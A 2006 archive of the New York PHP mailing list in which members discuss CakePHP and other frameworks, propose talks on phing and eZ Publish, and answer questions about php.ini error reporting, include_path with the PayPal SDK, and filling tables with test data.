I've recently fallen helplessly in love with phing (http://phing.info/trac/) and wonder if me or someone else would be able to make a presentation of that tool. Anyone else out there interested in that topic? -- Mitch From mwithington at PLMresearch.com Fri Jul 28 16:59:07 2006 From: mwithington at PLMresearch.com (Mark Withington) Date: Fri, 28 Jul 2006 16:59:07 -0400 Subject: [nycphp-talk] CakePHP: what do you think? Message-ID: <1F3CD8DDFB6A9B4C9B8DD06E4A7DE35801639A8A@network.PLMresearch.com> "" Actually, in Boston everyone has an irish pub nearby ;-) Mark ------------------------------------------- Mark L. Withington Benevolent Dictator and acting President BostonPHP.org "supporting the PHP/OSS community" v: 508-746-2383/508-570-2285 m: 508-801-0181 http://www.BostonPHP.org AIM: BostonPHP > -----Original Message----- > From: talk-bounces at lists.nyphp.org > [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Mitch Pirtle > Sent: Friday, July 28, 2006 4:48 PM > To: NYPHP Talk > Subject: Re: [nycphp-talk] CakePHP: what do you think? > > > On 7/28/06, Baer, Jon wrote: > > > > Id be more interested in hearing what Mitch or the Joomla > folks think > > about them (I missed the meeting) but definatley would have been a > > question I would have asked ... picking frameworks vs. rolling your > > own ... > > At this point, you're crazy starting your own, there are > already a glut of them to choose from. That's the answer I > would have given you had you been there to ask ;-) > > When I presented the 1.5 API to BostonPHP I met with one of > the CakePHP guys at the irish pub across the street. I'm > asking him if he's interested in making a talk here at NYPHP, > and am quietly hopeful. > > > > Speaking of build environments, I've recently fallen > helplessly in love with phing (http://phing.info/trac/) and > wonder if me or someone else would be able to make a > presentation of that tool. Anyone else out there interested > in that topic? > > -- Mitch > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > > NYPHPCon 2006 > Presentations Online > http://www.nyphpcon.com > > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > From kenneth at ylayali.net Fri Jul 28 17:05:01 2006 From: kenneth at ylayali.net (Kenneth Dombrowski) Date: Fri, 28 Jul 2006 17:05:01 -0400 Subject: [nycphp-talk] CakePHP: what do you think? In-Reply-To: <330532b60607281347o5caca80bg1eb0766087e40094@mail.gmail.com> References: <4D2FAD9B00577645932AD7ED5FECA245029395C9@mail> <330532b60607281347o5caca80bg1eb0766087e40094@mail.gmail.com> Message-ID: <20060728210500.GD31125@ylayali.net> On 06-07-28 16:47 -0400, Mitch Pirtle wrote: > > Speaking of build environments, I've recently fallen helplessly in > love with phing (http://phing.info/trac/) and wonder if me or someone > else would be able to make a presentation of that tool. Anyone else > out there interested in that topic? > I'd love to see a presentation on phing. I've just been getting started with it this week Kenneth From lists at zaunere.com Fri Jul 28 17:11:00 2006 From: lists at zaunere.com (Hans Zaunere) Date: Fri, 28 Jul 2006 17:11:00 -0400 Subject: [nycphp-talk] CMS Presentations WAS: CakePHP: what do you think? In-Reply-To: <330532b60607281347o5caca80bg1eb0766087e40094@mail.gmail.com> Message-ID: <00d501c6b28a$53e97e80$640aa8c0@MobileZ> Mitch Pirtle wrote on Friday, July 28, 2006 4:48 PM: > On 7/28/06, Baer, Jon wrote: > > > > Id be more interested in hearing what Mitch or the Joomla folks > > think about them (I missed the meeting) but definatley would have > > been a question I would have asked ... picking frameworks vs. > > rolling your own ... > > At this point, you're crazy starting your own, there are already a > glut of them to choose from. That's the answer I would have given you > had you been there to ask ;-) > > When I presented the 1.5 API to BostonPHP I met with one of the > CakePHP guys at the irish pub across the street. I'm asking him if > he's interested in making a talk here at NYPHP, and am quietly > hopeful. > > Sssh Mitch - don't get the conspiracy theories going more. > Speaking of build environments, I've recently fallen helplessly in > love with phing (http://phing.info/trac/) and wonder if me or someone > else would be able to make a presentation of that tool. Anyone else > out there interested in that topic? We've had a lot of exposure to Joomla and family (by the way thanks Mitch for an always great presentation) and we'd certainly like to have some other CMSs present. If anyone is in the tri-state area, or would be willing to travel, let us know, or put us in touch with someone. http://www.nyphp.org/presentations.php Our fall schedule is mostly open but we have pending presentations so tell us soon. --- Hans Zaunere / President / New York PHP www.nyphp.org / www.nyphp.com From andrew at plexpod.com Fri Jul 28 19:30:16 2006 From: andrew at plexpod.com (Andrew Yochum) Date: Fri, 28 Jul 2006 19:30:16 -0400 Subject: [nycphp-talk] eZ Publish follow up? Was: Re: CMS Presentations In-Reply-To: <00d501c6b28a$53e97e80$640aa8c0@MobileZ> References: <330532b60607281347o5caca80bg1eb0766087e40094@mail.gmail.com> <00d501c6b28a$53e97e80$640aa8c0@MobileZ> Message-ID: <20060728233015.GV23645@desario.homelinux.net> On Fri, Jul 28, 2006 at 05:11:00PM -0400, Hans Zaunere wrote: > We've had a lot of exposure to Joomla and family (by the way thanks Mitch > for an always great presentation) and we'd certainly like to have some other > CMSs present. If anyone is in the tri-state area, or would be willing to > travel, let us know, or put us in touch with someone. > > http://www.nyphp.org/presentations.php > > Our fall schedule is mostly open but we have pending presentations so tell > us soon. If anyone is interested, I could put together a follow up presentation to last Fall's eZ Publish presentation. In that area, there is two directions I could take. In the CMS theme: Getting started building websites eZ Publish 3.X - Installation & Configuration - Templating - Creating new Content Classes - Access Control In the framework theme: Building web-apps using eZ Components in PHP 5 - A brief overview of the set of components - Focus on some of the major ones: - DB - Logging - Templating - Configuration (Not necessarily set in stone of course! Just some thoughts.) I think both would be tutorial-like. FYI, the eZ Components topic isn't very applicable to current release (3.8) of eZ Publish, but they will be the foundation for the eZ platform Application Server to be released in December 2007. That in turn will be the foundation for the next major versionof the eZ Publish CMS named Telemark and to be released in December 2008. Any interest in either one? Thoughts on things you might like to see covered? Here are some urls to check out: eZ Publish http://ez.no/products/ez_publish eZ Components http://ez.no/products/ez_components eZ Platform announcement http://ez.no/company/news/ez_systems_announces_ez_platform_for_php_application_development The roadmap http://ez.no/community/developer/roadmap Regards, Andrew -- Andrew Yochum Plexpod andrew at plexpod.com 718-360-0879 From jonbaer at jonbaer.com Fri Jul 28 19:40:43 2006 From: jonbaer at jonbaer.com (Jon Baer) Date: Fri, 28 Jul 2006 19:40:43 -0400 Subject: [nycphp-talk] CakePHP: what do you think? In-Reply-To: <330532b60607281347o5caca80bg1eb0766087e40094@mail.gmail.com> References: <4D2FAD9B00577645932AD7ED5FECA245029395C9@mail> <330532b60607281347o5caca80bg1eb0766087e40094@mail.gmail.com> Message-ID: <108E048E-1547-4F13-8123-27879F3EE285@jonbaer.com> > Speaking of build environments, I've recently fallen helplessly in > love with phing (http://phing.info/trac/) and wonder if me or someone > else would be able to make a presentation of that tool. Anyone else > out there interested in that topic? Im currently looking @ using it as a deployment tool much like Capistrano is for Rails ... I think it would be a great topic for a talk. +1 from me. On a side note if someone could figure how to get the bake command to call phing tasks that would be nice ... :-) - Jon From andrew at plexpod.com Fri Jul 28 19:54:41 2006 From: andrew at plexpod.com (Andrew Yochum) Date: Fri, 28 Jul 2006 19:54:41 -0400 Subject: [nycphp-talk] CakePHP: what do you think? In-Reply-To: <108E048E-1547-4F13-8123-27879F3EE285@jonbaer.com> References: <4D2FAD9B00577645932AD7ED5FECA245029395C9@mail> <330532b60607281347o5caca80bg1eb0766087e40094@mail.gmail.com> <108E048E-1547-4F13-8123-27879F3EE285@jonbaer.com> Message-ID: <20060728235441.GW23645@desario.homelinux.net> On Fri, Jul 28, 2006 at 07:40:43PM -0400, Jon Baer wrote: > > Speaking of build environments, I've recently fallen helplessly in > > love with phing (http://phing.info/trac/) and wonder if me or someone > > else would be able to make a presentation of that tool. Anyone else > > out there interested in that topic? > > Im currently looking @ using it as a deployment tool much like > Capistrano is for Rails ... I think it would be a great topic for a > talk. +1 from me. On a side note if someone could figure how to get > the bake command to call phing tasks that would be nice ... :-) You should be able to easily do it the other way around - have phing call bake. Thats how phing is meant to work. Andrew -- Andrew Yochum Plexpod andrew at plexpod.com 718-360-0879 From suzerain at suzerain.com Fri Jul 28 22:32:41 2006 From: suzerain at suzerain.com (Marc Antony Vose) Date: Fri, 28 Jul 2006 22:32:41 -0400 Subject: [nycphp-talk] XML with PHP In-Reply-To: <1153632765.44c309fd7db3d@webmail.mexny.com> References: <1153632765.44c309fd7db3d@webmail.mexny.com> Message-ID: At 10:32 PM -0700 7/22/06, Unspecified wrote: >And the Next question is, could any tell me where can i learn about Ajax.. Two things I've used: SACK a very simple JS class for implementing AJAX. I have it integrated into my framework, and have used it on a few occasions. I like its simplicity. http://twilightuniverse.com/projects/sack/ Yahoo UI tools more JS classes, for doing a variety of things. I think this has a lot of promise; I'm thinking about redoing my admin framework to be entirely AJAX-based, and was considering using these as a way to simplify that development. http://developer.yahoo.com/yui/ For me, the best way to learn is to just create a little project where I can play without any repercussions. :) Cheers, -- Marc Antony Vose http://www.suzerain.com/ Life is a sexually transmitted disease with a 100% mortality rate. -- David Shaw From urb at e-government.com Sat Jul 29 11:52:35 2006 From: urb at e-government.com (Urb LeJeune) Date: Sat, 29 Jul 2006 11:52:35 -0400 Subject: [nycphp-talk] php.ini in PHP 5.1.2 In-Reply-To: <20060728235441.GW23645@desario.homelinux.net> References: <4D2FAD9B00577645932AD7ED5FECA245029395C9@mail> <330532b60607281347o5caca80bg1eb0766087e40094@mail.gmail.com> <108E048E-1547-4F13-8123-27879F3EE285@jonbaer.com> <20060728235441.GW23645@desario.homelinux.net> Message-ID: <7.0.1.0.0.20060729115024.034dc410@e-government.com> I recently upgraded from php 4.x to 5.1.2. I have one lingering problem. What are the error setting in the php.ini file to only display fatal errors. I'm can get no errors or all errors, including warnings, but not just fatal errors. Any suggestions appreciated. Urb From dirn at dirnonline.com Sat Jul 29 12:09:42 2006 From: dirn at dirnonline.com (Andy Dirnberger) Date: Sat, 29 Jul 2006 12:09:42 -0400 Subject: [nycphp-talk] php.ini in PHP 5.1.2 In-Reply-To: <7.0.1.0.0.20060729115024.034dc410@e-government.com> Message-ID: <000601c6b329$671d91e0$6301a8c0@dirnpc> >From php.ini: ; error_reporting is a bit-field. Or each number up to get desired error ; reporting level ; E_ALL - All errors and warnings (doesn't include E_STRICT) ; E_ERROR - fatal run-time errors ; E_WARNING - run-time warnings (non-fatal errors) ; E_PARSE - compile-time parse errors ; E_NOTICE - run-time notices (these are warnings which often result ; from a bug in your code, but it's possible that it was ; intentional (e.g., using an uninitialized variable and ; relying on the fact it's automatically initialized to an ; empty string) ; E_STRICT - run-time notices, enable to have PHP suggest changes ; to your code which will ensure the best interoperability ; and forward compatibility of your code ; E_CORE_ERROR - fatal errors that occur during PHP's initial startup ; E_CORE_WARNING - warnings (non-fatal errors) that occur during PHP's ; initial startup ; E_COMPILE_ERROR - fatal compile-time errors ; E_COMPILE_WARNING - compile-time warnings (non-fatal errors) ; E_USER_ERROR - user-generated error message ; E_USER_WARNING - user-generated warning message ; E_USER_NOTICE - user-generated notice message E_ERROR sounds like what you're looking for. HTH, DiRN -----Original Message----- From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Urb LeJeune Sent: Saturday, July 29, 2006 11:53 AM To: NYPHP Talk Subject: [nycphp-talk] php.ini in PHP 5.1.2 I recently upgraded from php 4.x to 5.1.2. I have one lingering problem. What are the error setting in the php.ini file to only display fatal errors. I'm can get no errors or all errors, including warnings, but not just fatal errors. Any suggestions appreciated. Urb _______________________________________________ New York PHP Community Talk Mailing List http://lists.nyphp.org/mailman/listinfo/talk NYPHPCon 2006 Presentations Online http://www.nyphpcon.com Show Your Participation in New York PHP http://www.nyphp.org/show_participation.php From tgales at tgaconnect.com Sat Jul 29 12:10:18 2006 From: tgales at tgaconnect.com (Tim Gales) Date: Sat, 29 Jul 2006 12:10:18 -0400 Subject: [nycphp-talk] php.ini in PHP 5.1.2 In-Reply-To: <7.0.1.0.0.20060729115024.034dc410@e-government.com> References: <4D2FAD9B00577645932AD7ED5FECA245029395C9@mail> <330532b60607281347o5caca80bg1eb0766087e40094@mail.gmail.com> <108E048E-1547-4F13-8123-27879F3EE285@jonbaer.com> <20060728235441.GW23645@desario.homelinux.net> <7.0.1.0.0.20060729115024.034dc410@e-government.com> Message-ID: <44CB886A.5050803@tgaconnect.com> Urb LeJeune wrote: > I recently upgraded from php 4.x to 5.1.2. I have one lingering problem. > What are the error setting in the php.ini file to only display fatal errors. > I'm can get no errors or all errors, including warnings, but not just > fatal errors. Have you read: http://www.php.net/manual/en/ref.errorfunc.php#ini.error-reporting try setting error_reporting = E_ERROR in your php.ini file -- T. Gales & Associates 'Helping People Connect with Technology' http://www.tgaconnect.com From r.mariotti at fdcx.net Sat Jul 29 17:04:46 2006 From: r.mariotti at fdcx.net (Bob Mariotti) Date: Sat, 29 Jul 2006 17:04:46 -0400 Subject: [nycphp-talk] include_path usage with PayPalPro SDK??? Message-ID: <44CBCD6E.7020803@fdcx.net> Fellow PHP'ers; I've been developing with PHP for several years now with reasonable success. Recently I'm trying to integrate PayPal's supplied SDK into an eCommerce app and I am having trouble with finding their own included modules. I've tried studying the logic and use of the php.ini directive "include_path" and the only definition that seems to work is if I define the FULL path of every directory individually which makes for a very long, long path string. For reference I have my includes directory outside of the document root(s) in something similar to /srv/www/sites/inc and for everything else this seems to work just fine. Now PayPal's supplied tree is a continuation in this same directory and it itself includes nested directories so their top level would be at /srv/www/sites/inc/PayPal and then on down. Again, if I define each and every lower directory individually in the path, things appear to work. Otherwise, it finds nothing of PayPal. Oh, and further information, PayPal uses multiple nested includes within its supplied modules (whew!). For some strange reason I thought that the include_path would be recursive but I guess not. Someone in this group must have worked with the PayPal module(s) before and must have come up against the same situation. Therefore, could someone in the know PLEASE explain how they overcame this situation or can someone at least advise how to best handle the definitions to accommodate this? Thanks all. Bob From jonbaer at jonbaer.com Sun Jul 30 12:59:27 2006 From: jonbaer at jonbaer.com (Jon Baer) Date: Sun, 30 Jul 2006 12:59:27 -0400 Subject: [nycphp-talk] include_path usage with PayPalPro SDK??? In-Reply-To: <44CBCD6E.7020803@fdcx.net> References: <44CBCD6E.7020803@fdcx.net> Message-ID: <9A74B96F-FB1B-478C-86C4-03287AC933B1@jonbaer.com> Normally w/ needed packages like those which don't follow the PEAR method is that I split it up and make it into a PEAR-like package (without the meta) ... for example for Cake I have: /usr/lib/php/Cake.php /usr/lib/php/Cake/all/the/other/crap.php ... Then anytime its need I have one include path and just require ('Cake.php'); You would basically fill up that file w/ all your are going to need. I beleive its more portable to do it this way but Ive heard of alot of people being very anti-pear which I still don't understand. Ive switch to using Cake's /vendor path and placing any PEAR packages I need in there and bootstrapping that path via set_include_path (get_include_path() . ':/my/new/path') I wish the include_path did have @ least some namespacing ability to it though, then your probably would be solve in saying something like use('PayPal') which is what the Cake framework does. - Jon On Jul 29, 2006, at 5:04 PM, Bob Mariotti wrote: > Fellow PHP'ers; > > I've been developing with PHP for several years now with reasonable > success. Recently I'm trying to integrate PayPal's supplied SDK > into an > eCommerce app and I am having trouble with finding their own included > modules. > > I've tried studying the logic and use of the php.ini directive > "include_path" and the only definition that seems to work is if I > define > the FULL path of every directory individually which makes for a very > long, long path string. > > For reference I have my includes directory outside of the document > root(s) in something similar to /srv/www/sites/inc and for everything > else this seems to work just fine. Now PayPal's supplied tree is a > continuation in this same directory and it itself includes nested > directories so their top level would be at /srv/www/sites/inc/ > PayPal and > then on down. > > Again, if I define each and every lower directory individually in the > path, things appear to work. Otherwise, it finds nothing of PayPal. > Oh, and further information, PayPal uses multiple nested includes > within > its supplied modules (whew!). > > For some strange reason I thought that the include_path would be > recursive but I guess not. > > Someone in this group must have worked with the PayPal module(s) > before > and must have come up against the same situation. > > Therefore, could someone in the know PLEASE explain how they overcame > this situation or can someone at least advise how to best handle the > definitions to accommodate this? > > Thanks all. > > Bob > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > > NYPHPCon 2006 Presentations Online > http://www.nyphpcon.com > > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > > From ken at secdat.com Mon Jul 31 12:32:21 2006 From: ken at secdat.com (Kenneth Downs) Date: Mon, 31 Jul 2006 12:32:21 -0400 Subject: [nycphp-talk] CakePHP bakeoff (Was: CakePHP: what do you think?) In-Reply-To: <1F3CD8DDFB6A9B4C9B8DD06E4A7DE35801639A89@network.PLMresearch.com> References: <1F3CD8DDFB6A9B4C9B8DD06E4A7DE35801639A89@network.PLMresearch.com> Message-ID: <44CE3095.7020805@secdat.com> Mark Withington wrote: >If anyone if planning to be in Boston the evening of Thursday, October 5th >06 (yah, I know it's a long shot) we're going to do a PHP framework bake off >with Cake (and one of the core devs), Zend, Horde, etc. > > This might be fun. I've got relatives in New Bedford and that's my birthday, so perhaps the wife and I can make a weekend of it. But I have an ulterior motive. I would like to sit in back and use my own framework to develop the same app that the "bake off" is cooking, then compare. Hopefully I could pick up a few things from Cake and perhaps they'd pick up a few from me, no? >More info here: >http://www.bostonphp.org/component/option,com_gigcal/task,details/gigcal_gig >s_id,20/ > >Everyone is welcome. > >Cheers, > >Mark > >------------------------------------------- >Mark L. Withington >Benevolent Dictator and acting President >BostonPHP.org >"supporting the PHP/OSS community" >PO Box 1354 >Plymouth, MA 02362 >o: 800-310-3992 ext. 704 >f: 508-746-4973 >v: 508-746-2383/508-570-2285 >m: 508-801-0181 >http://www.BostonPHP.org >AIM: BostonPHP > > > >>-----Original Message----- >>From: Baer, Jon [mailto:talk-bounces at lists.nyphp.org] On >>Behalf Of Baer, Jon >>Sent: Friday, July 28, 2006 4:15 PM >>To: NYPHP Talk >>Subject: RE: [nycphp-talk] CakePHP: what do you think? >> >> >>Using it alot .. im using it after spending a good 6 months >>w/ Ruby on Rails though so my opinion might be one sided, >>overall it gives a good feeling of knowing that when >>something break you know *exactly* where to look .. which >>probably leads to this "agile" thing :-) >> >>The best thing to probably look @ if you decide to pick it up >>is the Cajax helper by rossoft (he writes alot of nice Cake >>plugins - http://rossoft.wordpress.com) which is like RJS in >>Rails and lets you do that nice Ajaxy stuff w/ >>Prototype/Scriptaculous libraries. >> >>What probably amazes me the most about it is how they >>seemlessly made it work w/ PHP4 and still use much of the OO hooks. >> >>I like both RoR and Cake but when it comes to deployment PHP >>wins out in the support area, I still dont think they have >>figured out the best solution in Rails and the fact that the >>Bake command does alot more work make it nicer to work with. >> >>Id be more interested in hearing what Mitch or the Joomla >>folks think about them (I missed the meeting) but definatley >>would have been a question I would have asked ... picking >>frameworks vs. rolling your own ... >> >>- Jon >> >>-----Original Message----- >>From: talk-bounces at lists.nyphp.org on behalf of David Mintz >>Sent: Fri 7/28/2006 3:28 PM >>To: talk at lists.nyphp.org >>Subject: [nycphp-talk] CakePHP: what do you think? >> >> >>I know it's come up briefly on the list in the past, but imho >>it's time once again to ask if people are using cakePHP >>(http://cakephp.org/) and if so, what do you think? >> >>I think >>it's extremely promising, but I also think it has a bit of a >>initial learning curve, at least for mere mortals, that seems >>to belie the name. >> >>Somebody oughta give an NYPHP presentation about it (said he, >>as he ducked under the desk). >> >>--- >>David Mintz >>http://davidmintz.org/ >> >>Amendment IV >> >>The right of the people to be secure in their >>persons, houses, papers, and effects, against >>unreasonable searches and seizures, shall not be >>violated, and no Warrants shall issue, but upon >>probable cause, supported by Oath or affirmation, >>and particularly describing the place to be >>searched, and the persons or things to be seized. >>_______________________________________________ >>New York PHP Community Talk Mailing List >>http://lists.nyphp.org/mailman/listinfo/talk >> >>NYPHPCon 2006 >>Presentations Online >>http://www.nyphpcon.com >> >>Show Your Participation in New York PHP >>http://www.nyphp.org/show_participation.php >> >> >> >> >>------------------------------------------------------------------------ >> >>_______________________________________________ >>New York PHP Community Talk Mailing List >>http://lists.nyphp.org/mailman/listinfo/talk >> >>NYPHPCon 2006 Presentations Online >>http://www.nyphpcon.com >> >>Show Your Participation in New York PHP >>http://www.nyphp.org/show_participation.php >> >> -------------- next part -------------- An HTML attachment was scrubbed... URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: ken.vcf Type: text/x-vcard Size: 186 bytes Desc: not available URL: From ken at secdat.com Mon Jul 31 12:47:12 2006 From: ken at secdat.com (Kenneth Downs) Date: Mon, 31 Jul 2006 12:47:12 -0400 Subject: [nycphp-talk] eZ Publish follow up? Was: Re: CMS Presentations In-Reply-To: <20060728233015.GV23645@desario.homelinux.net> References: <330532b60607281347o5caca80bg1eb0766087e40094@mail.gmail.com> <00d501c6b28a$53e97e80$640aa8c0@MobileZ> <20060728233015.GV23645@desario.homelinux.net> Message-ID: <44CE3410.5000506@secdat.com> Andrew Yochum wrote: >On Fri, Jul 28, 2006 at 05:11:00PM -0400, Hans Zaunere wrote: > > Sounds interesting to me. >>We've had a lot of exposure to Joomla and family (by the way thanks Mitch >>for an always great presentation) and we'd certainly like to have some other >>CMSs present. If anyone is in the tri-state area, or would be willing to >>travel, let us know, or put us in touch with someone. >> >>http://www.nyphp.org/presentations.php >> >>Our fall schedule is mostly open but we have pending presentations so tell >>us soon. >> >> > >If anyone is interested, I could put together a follow up presentation >to last Fall's eZ Publish presentation. In that area, there is two >directions I could take. > >In the CMS theme: > Getting started building websites eZ Publish 3.X > - Installation & Configuration > - Templating > - Creating new Content Classes > - Access Control > >In the framework theme: > Building web-apps using eZ Components in PHP 5 > - A brief overview of the set of components > - Focus on some of the major ones: > - DB > - Logging > - Templating > - Configuration > (Not necessarily set in stone of course! Just some thoughts.) > >I think both would be tutorial-like. > >FYI, the eZ Components topic isn't very applicable to current release >(3.8) of eZ Publish, but they will be the foundation for the eZ platform >Application Server to be released in December 2007. That in turn will be >the foundation for the next major versionof the eZ Publish CMS named >Telemark and to be released in December 2008. > >Any interest in either one? Thoughts on things you might like to see >covered? > >Here are some urls to check out: > eZ Publish > http://ez.no/products/ez_publish > eZ Components > http://ez.no/products/ez_components > eZ Platform announcement > http://ez.no/company/news/ez_systems_announces_ez_platform_for_php_application_development > The roadmap > http://ez.no/community/developer/roadmap > >Regards, >Andrew > > -------------- next part -------------- An HTML attachment was scrubbed... URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: ken.vcf Type: text/x-vcard Size: 186 bytes Desc: not available URL: From ken at secdat.com Mon Jul 31 12:49:49 2006 From: ken at secdat.com (Kenneth Downs) Date: Mon, 31 Jul 2006 12:49:49 -0400 Subject: [nycphp-talk] Say, that Joomla was kind of cool Message-ID: <44CE34AD.9050703@secdat.com> Mitch (and everyone) I was one of those guys that was seeing Joomla for the first time. It was quite impressive. Mitch, this may come as a surprise, but what most impressed my programmer and me were the templating possibilities. We do line-of-business stuff and are not really in the market for CMS as commonly presented, but we thought it would be cool to be able to take commercially developed Joomla templates and refit them to be the public face of some of our sites. I am going to try this out and will let you know how it goes. -------------- next part -------------- A non-text attachment was scrubbed... Name: ken.vcf Type: text/x-vcard Size: 186 bytes Desc: not available URL: From danielc at analysisandsolutions.com Mon Jul 31 13:54:24 2006 From: danielc at analysisandsolutions.com (Daniel Convissor) Date: Mon, 31 Jul 2006 13:54:24 -0400 Subject: [nycphp-talk] CakePHP: what do you think? In-Reply-To: <330532b60607281347o5caca80bg1eb0766087e40094@mail.gmail.com> References: <4D2FAD9B00577645932AD7ED5FECA245029395C9@mail> <330532b60607281347o5caca80bg1eb0766087e40094@mail.gmail.com> Message-ID: <20060731175424.GA21257@panix.com> Hey Folks: On Fri, Jul 28, 2006 at 04:47:42PM -0400, Mitch Pirtle wrote: > > Speaking of build environments, I've recently fallen helplessly in > love with phing (http://phing.info/trac/) and wonder if me or someone > else would be able to make a presentation of that tool. Anyone else > out there interested in that topic? People interested in installation and distribution tools should definitely take a look at PEAR's 1.4.x platform. It's quite robust and has a lovely feature set. The biggest new thing in 1.4.x is channels (well, 1.4 has been out a while, so perhaps "new" isn't the right word). With channels, anyone can host a code repository accessible via end users's PEAR installers. This makes it really easy to keep your clients up to date. --Dan -- T H E A N A L Y S I S A N D S O L U T I O N S C O M P A N Y data intensive web and database programming http://www.AnalysisAndSolutions.com/ 4015 7th Ave #4, Brooklyn NY 11232 v: 718-854-0335 f: 718-854-0409 From mwithington at PLMresearch.com Mon Jul 31 13:56:04 2006 From: mwithington at PLMresearch.com (Mark Withington) Date: Mon, 31 Jul 2006 13:56:04 -0400 Subject: [nycphp-talk] CakePHP bakeoff (Was: CakePHP: what do you think ?) Message-ID: <1F3CD8DDFB6A9B4C9B8DD06E4A7DE35801639AAF@network.PLMresearch.com> Sounds like a plan Kenneth, contact me off-line and I can hook you up with the fellow who's going to moderate the panel. mark.withington at BostonPHP.org -------------------------- Mark L. Withington PLMresearch v: 508-746-2383 m: 508-801-0181 Skype: 508-570-2285 AIM/MSN/Skype: PLMresearch Yahoo: PLMresearch2000 -----Original Message----- From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Kenneth Downs Sent: Monday, July 31, 2006 12:32 PM To: NYPHP Talk Subject: Re: [nycphp-talk] CakePHP bakeoff (Was: CakePHP: what do you think?) Mark Withington wrote: If anyone if planning to be in Boston the evening of Thursday, October 5th 06 (yah, I know it's a long shot) we're going to do a PHP framework bake off with Cake (and one of the core devs), Zend, Horde, etc. This might be fun. I've got relatives in New Bedford and that's my birthday, so perhaps the wife and I can make a weekend of it. But I have an ulterior motive. I would like to sit in back and use my own framework to develop the same app that the "bake off" is cooking, then compare. Hopefully I could pick up a few things from Cake and perhaps they'd pick up a few from me, no? More info here: http://www.bostonphp.org/component/option,com_gigcal/task,details/gigcal_gig s_id,20/ Everyone is welcome. Cheers, Mark ------------------------------------------- Mark L. Withington Benevolent Dictator and acting President BostonPHP.org "supporting the PHP/OSS community" PO Box 1354 Plymouth, MA 02362 o: 800-310-3992 ext. 704 f: 508-746-4973 v: 508-746-2383/508-570-2285 m: 508-801-0181 http://www.BostonPHP.org AIM: BostonPHP -----Original Message----- From: Baer, Jon [mailto:talk-bounces at lists.nyphp.org ] On Behalf Of Baer, Jon Sent: Friday, July 28, 2006 4:15 PM To: NYPHP Talk Subject: RE: [nycphp-talk] CakePHP: what do you think? Using it alot .. im using it after spending a good 6 months w/ Ruby on Rails though so my opinion might be one sided, overall it gives a good feeling of knowing that when something break you know *exactly* where to look .. which probably leads to this "agile" thing :-) The best thing to probably look @ if you decide to pick it up is the Cajax helper by rossoft (he writes alot of nice Cake plugins - http://rossoft.wordpress.com ) which is like RJS in Rails and lets you do that nice Ajaxy stuff w/ Prototype/Scriptaculous libraries. What probably amazes me the most about it is how they seemlessly made it work w/ PHP4 and still use much of the OO hooks. I like both RoR and Cake but when it comes to deployment PHP wins out in the support area, I still dont think they have figured out the best solution in Rails and the fact that the Bake command does alot more work make it nicer to work with. Id be more interested in hearing what Mitch or the Joomla folks think about them (I missed the meeting) but definatley would have been a question I would have asked ... picking frameworks vs. rolling your own ... - Jon -----Original Message----- From: talk-bounces at lists.nyphp.org on behalf of David Mintz Sent: Fri 7/28/2006 3:28 PM To: talk at lists.nyphp.org Subject: [nycphp-talk] CakePHP: what do you think? I know it's come up briefly on the list in the past, but imho it's time once again to ask if people are using cakePHP (http://cakephp.org/ ) and if so, what do you think? I think it's extremely promising, but I also think it has a bit of a initial learning curve, at least for mere mortals, that seems to belie the name. Somebody oughta give an NYPHP presentation about it (said he, as he ducked under the desk). --- David Mintz http://davidmintz.org/ Amendment IV The right of the people to be secure in their persons, houses, papers, and effects, against unreasonable searches and seizures, shall not be violated, and no Warrants shall issue, but upon probable cause, supported by Oath or affirmation, and particularly describing the place to be searched, and the persons or things to be seized. _______________________________________________ New York PHP Community Talk Mailing List http://lists.nyphp.org/mailman/listinfo/talk NYPHPCon 2006 Presentations Online http://www.nyphpcon.com Show Your Participation in New York PHP http://www.nyphp.org/show_participation.php _____ _______________________________________________ New York PHP Community Talk Mailing List http://lists.nyphp.org/mailman/listinfo/talk NYPHPCon 2006 Presentations Online http://www.nyphpcon.com Show Your Participation in New York PHP http://www.nyphp.org/show_participation.php -------------- next part -------------- An HTML attachment was scrubbed... URL: From danielc at analysisandsolutions.com Mon Jul 31 14:00:28 2006 From: danielc at analysisandsolutions.com (Daniel Convissor) Date: Mon, 31 Jul 2006 14:00:28 -0400 Subject: [nycphp-talk] Script or method to "junk" a table(s)? In-Reply-To: <2932E305-26C7-44ED-A62E-AF075E077A50@jonbaer.com> References: <2932E305-26C7-44ED-A62E-AF075E077A50@jonbaer.com> Message-ID: <20060731180027.GB21257@panix.com> On Wed, Jul 26, 2006 at 10:10:11PM -0400, Jon Baer wrote: > Does anyone know of any easy script/way to junk a table? > > Im trying to think of a simple solution that while you are developing > a schema/app to easily fill it with test data, not really something > like fixtures in rails but something that can figure if you have > varchar(x), char(x), int(x), blob, etc and fill it with -n rows. I know you must have thought of the following, but what's the problem with it? References: <2932E305-26C7-44ED-A62E-AF075E077A50@jonbaer.com> <20060731180027.GB21257@panix.com> Message-ID: <44CE4D7F.2080701@aeso.org> I have the same issue, there are many occasions where I need to test my scripts with valid but random data from a database. I haven't run across any scripts that can offer "random" data to be inserted into a table on a whim. I've actually considered writing a script to do this for me, but a few of the issues that would have to be overcome include intelligently inserting the information so that it accurately reflects data in related tables (e.g. order_items table would have to relate back to a valid order_id in an orders table, etc.)... I was thinking about writing a script that would do a quick google search, follow the site links and grab chunks of data based on a set of rules... still, a bit of a pain. Has anyone run across something that already does this? Daniel Convissor wrote: > On Wed, Jul 26, 2006 at 10:10:11PM -0400, Jon Baer wrote: > >> Does anyone know of any easy script/way to junk a table? >> >> Im trying to think of a simple solution that while you are developing >> a schema/app to easily fill it with test data, not really something >> like fixtures in rails but something that can figure if you have >> varchar(x), char(x), int(x), blob, etc and fill it with -n rows. >> > > I know you must have thought of the following, but what's the problem with > it? > > $rows = 55; > for ($i = 0, $i < $rows, $i++) { > query('insert into foo values (...)'); > } > > Or just have test rows in your table creation script. > > --Dan > > From r.mariotti at fdcx.net Mon Jul 31 15:19:17 2006 From: r.mariotti at fdcx.net (R. Mariotti) Date: Mon, 31 Jul 2006 15:19:17 